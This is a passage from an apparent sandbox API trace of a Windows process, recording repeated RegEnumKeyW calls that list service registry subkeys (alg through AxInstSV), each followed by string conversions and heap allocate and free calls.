3 [0259.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1de4720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0259.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.726] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.726] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.726] RegEnumKeyW (in: hKey=0x160, dwIndex=0x13, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aliide") returned 0x0 [0259.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x1de4de0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0259.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.727] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.727] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.727] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.727] RegEnumKeyW (in: hKey=0x160, dwIndex=0x14, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdide") returned 0x0 [0259.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0259.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.727] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.727] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.727] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.727] RegEnumKeyW (in: hKey=0x160, dwIndex=0x15, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0259.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x1de4de0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0259.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.727] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.727] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.727] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.727] RegEnumKeyW (in: hKey=0x160, dwIndex=0x16, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0259.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0259.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.727] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.727] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.727] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.728] RegEnumKeyW (in: hKey=0x160, dwIndex=0x17, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0259.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0259.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.728] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.728] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.728] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.728] RegEnumKeyW (in: hKey=0x160, dwIndex=0x18, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0259.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0259.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.728] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.728] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.728] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.728] RegEnumKeyW (in: hKey=0x160, dwIndex=0x19, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0259.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0259.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.728] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.728] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.728] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.728] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppID") returned 0x0 [0259.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x1de4720, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0259.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.728] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.729] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0259.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0259.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.729] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.729] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0259.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0259.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.729] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.729] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0259.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0259.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.729] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.729] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.729] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arc") returned 0x0 [0259.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x1de4720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0259.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.730] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.730] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0259.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x1de4de0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0259.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.730] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.730] RegEnumKeyW (in: hKey=0x160, dwIndex=0x20, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0259.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0259.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.730] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.730] RegEnumKeyW (in: hKey=0x160, dwIndex=0x21, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0259.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x1de4de0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0259.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.730] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.730] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.730] RegEnumKeyW (in: hKey=0x160, dwIndex=0x22, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0259.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.731] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1de4720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0259.731] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.731] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.731] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.731] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.731] RegEnumKeyW (in: hKey=0x160, dwIndex=0x23, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0259.731] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.731] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0259.731] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.731] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.731] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.731] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.731] RegEnumKeyW (in: hKey=0x160, dwIndex=0x24, lpName=0x1dd29e0, cchName=0x104 | out: lpName="atapi") returned 0x0 [0259.731] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.731] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x1de4720, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0259.731] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.731] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.731] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.731] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.731] RegEnumKeyW (in: hKey=0x160, dwIndex=0x25, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0259.731] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0259.731] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1de4de0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0259.731] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.731] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.731] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.732] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.732] RegEnumKeyW (in: hKey=0x160, dwIndex=0x26, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0259.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0259.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.732] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.732] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.732] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.732] RegEnumKeyW (in: hKey=0x160, dwIndex=0x27, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0259.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", 